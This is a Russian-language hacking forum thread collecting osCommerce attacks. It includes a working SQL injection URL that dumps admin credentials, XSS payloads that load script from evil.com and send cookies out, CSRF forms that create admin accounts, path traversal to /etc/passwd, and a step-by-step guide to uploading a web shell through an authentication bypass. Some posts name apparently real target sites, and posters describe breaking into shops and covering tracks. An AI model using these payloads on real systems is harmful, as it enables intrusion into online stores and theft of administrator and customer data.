![]() |
[ Обзор уязвимостей #osCommerce# ]
Обзор уязвимостей osCommerce
=== osCommerce 3.0a3 (admin/templates_boxes_layout.php) Directory Traversal Bug Discloses Files to Remote Users === === osCommerce 2.2 Multiple Cross Site Scripting Vulnerability === === osCommerce 2.2 (osCsid) Cross Site Scripting Vulnerability === === osCommerce 2.2 (error_message) Cross Site Scripting Vulnerability === === osCommerce 2.2 (file_manager.php) File Browsing === === osCommerce <= 2.2 (extras/) information/source code disclosure === === osCommerce <=2.2 SQL Injection Vulnerability (create_account_process.php) === === osCommerce <=2.2 (index.php) HTTP Response Splitting === === osCommerce SQL Injection (customer_testimonials.php) === === osCommerce (Contact_us) Cross Site Scripting Vulnerability === === osCommerce (wrapper.php) PHP Including Vulnerability === upd: === Oscommerce <= 2.2 (advanced_search_result.php) SQL-injection === url: advanced_search_result.php?inc_subcat=1&keywords=% 20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1-- Напишу еще от меня: admin/ - админка. includes/configure.php - здесь хранится данные к mysql, и общие настройки. admin/configure.php - здесь хранится данные к mysql, и общие настройки. в старых версиях также лежит пароль к админке в открытом виде. admin/backups/ - здесь хранятся mysql бекапы, не всегда админы ставят правильные права. md5(salt+plain):salt - в таком виде хранятся пароли в базе. customers - таблица юзеров. customers_email_address, customers_password - поля в таблице customers необходимые для авторизации юзеров. administrator или admin - таблица админов. admin_email_address, admin_password - поля в таблице administrator необходимые для авторизации админов. (c) life_is_shit |
Версия х3, какой мод стоит тоже х3) найдено 28.06.2007
Код:
http://localhost/os/admin/htmlarea/popups/file/insert_file.phpКод:
AuthType Basicпоэтому заходим на Код:
http://localhost/os/admin/htmlarea/popups/lister.php?DPI=96&action=delete&path=&file=../download/.htaccessКод:
http://www.site.ro/admin/htmlarea/popups/file/files.php?dir=/../Примеры http://www.sex-toysuk.com/admin/htmlarea/popups/file/insert_file.php http://www.copilasultau.ro/admin/htmlarea/popups/file/files.php?dir=/../../ |
Уязвимости Oscommerce
Скачать : http://www.oscommerce.com/solutions/downloads
XSS: В этом движке есть раздел для изменения\редактирования баннеров( banner_manager.php): Код:
http://site/oscommerce/admin/banner_manager.php?page=1&bID=1&action=newКод:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=newКод:
<?phpКод:
http://site/oscommerce/admin/banner_manager.php?page=1"><script src=http://evil.com/manda.php?acc=js></script><br x="&bID=1&action=newКод:
<form name="new_banner" action="http://site/oscommerce/admin/banner_manager.php?page=1\"><script src=http://evil.com/manda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">Код:
document.location="http://evil/manda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);В Оскомерес есть "защита" на такие случаи: Смотри файл includes/application_top.php 227 строка: Код:
if ($SESSION_USER_AGENT != $http_user_agent){Код:
User-Agent: '.urldecode($_GET['uag']).'Код:
http://site/oscommerce/admin/file_manager.php?action=processuploadsКсс там куева туча, практически везде где есть ID или что-то подобное, например: Код:
http://site/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>testКод:
http://site/oscommerce/admin/configuration.php?gID=1'"><h1>testXSRF Код:
http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=Код:
<form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">Создаем нового пользователя с правами админа: Код:
<form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">Стоит заметить что движок часто использует $ _SERVER [ 'PHP_SELF'] , а это приводит к ксс, ну я насчитал у 26 файлов.... Например: Код:
http://demo.oscommerce.com/index.php/ "> XSS <h1> |
Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.
Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.
Для заливки пригодны два штатных инструмента /admin/file_manager.php /admin/banner_manager.php, но доступ к ним разрешен только авторизованному админу. Можно воспользоваться сплоитом http://www.milw0rm.com/exploits/9556 , который использует следующую уязвимость: для доступа к скриптам в каталоге admin/ проверяется валидность аминской сессии и если таковая не обнаружена идет перенаправление на admin/login.php (см. admin/includes/application_top.php) но проверка if ($current_page != FILENAME_LOGIN), если обнаружит, что url ссылается на login.php, редиррект не производит и тело скрипта выполняется. Достаточно модифицировать урл /admin/file_manager.php - /admin/file_manager.php/login.php /admin/banner_manager.php - /admin/banner_manager.php/login.php /admin/administrators.php - /admin/administrators.php/login.php и скрипт выполнится для неавторизованного пользователя. При заливке приходится учитывать, что часть сайтов отказывается выполнить залитый шелл, если на него установлены права на запись, к примеру c правами chmod 777 shell.php не запускается, а с правами chmod 755 shell.php срабатывает. Атаку можно провести следующим образом: 1 - (не обязательно) проверяем доступность и работоспособность file_manager.php http://target.com/admin/file_manager.php/login.php?action=download&filename=includes/configure.php или просто http://target.com/admin/file_manager.php/login.php работают конструкции типа http://target.com/file_manager.php?action=download&filename=../../../../../../../../etc/passwd 2 - (не обязательно, но удобнее) добавляем нового админа можно использовать, как предложил Uwater (из поста выше). Код HTML:
<form method="post" action="http://target.com/admin/administrators.php/login.php?action=insert">Administration/Tools/Banner Manager а если она не доступна (иногда administrtors.php удален) гуляем вместе с /admin/file_manager.php, модифицируя ссылки file_manager.php? на file_manager.php/login.php? Для заливки есть три команды action=new_file - чаще всего попадаем в нужные права chmod action=upload - удобно,но часто дает права на запись и шелл не запускается action=edit - когда не срабатывают первае два, просто трояним скрипт магазина (например для исправления chmod загруженного шелла) примеры http://target.com/admin/file_manager.php/login.php?action=new_file алтернативно http://target.com/admin/file_manager.php/login.php?action=upload алтернативно http://target.com/admin/banner_manager.php/login.php?action=new Для кнопок, отправляющих данные из формы приходится аналогично править исходный код страницы. file_manager.php (если мы не меняли каталог) льет шелл в корень магазина. banner_manager.php в images. 4 - чистим за собой (админа, баннеры, скрипты магазина) |
Слил хеши админов, но не совсем понятен формат хранеия паролей в базе:
md5(salt+plain):salt - что подразумевается под "plain"? |
пароль в чистом виде
|
Недавно ломал один шоп, даже не посмотрел, что он на osCommerce, нашёл инъекцию:
advanced_search_result.php?inc_subcat=1&keywords=% 20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1-- Она почему-то в багтреках не упоминается, но в отчётах о патчах есть |
какие версии уязвимы?
|
life_is_shit, вот oscommerce-2.2ms1j - Change Log, где это написано, что бага зафиксена 2007-02-17 16:53
http://ko.sourceforge.jp/projects/tep-j/document/oscommerce-2.2ms1j_oscommerce-2.2ms1j_-_Changes/ Стало быть версии до этой уязвимы. |
добавил.
|
| Время: 17:50 |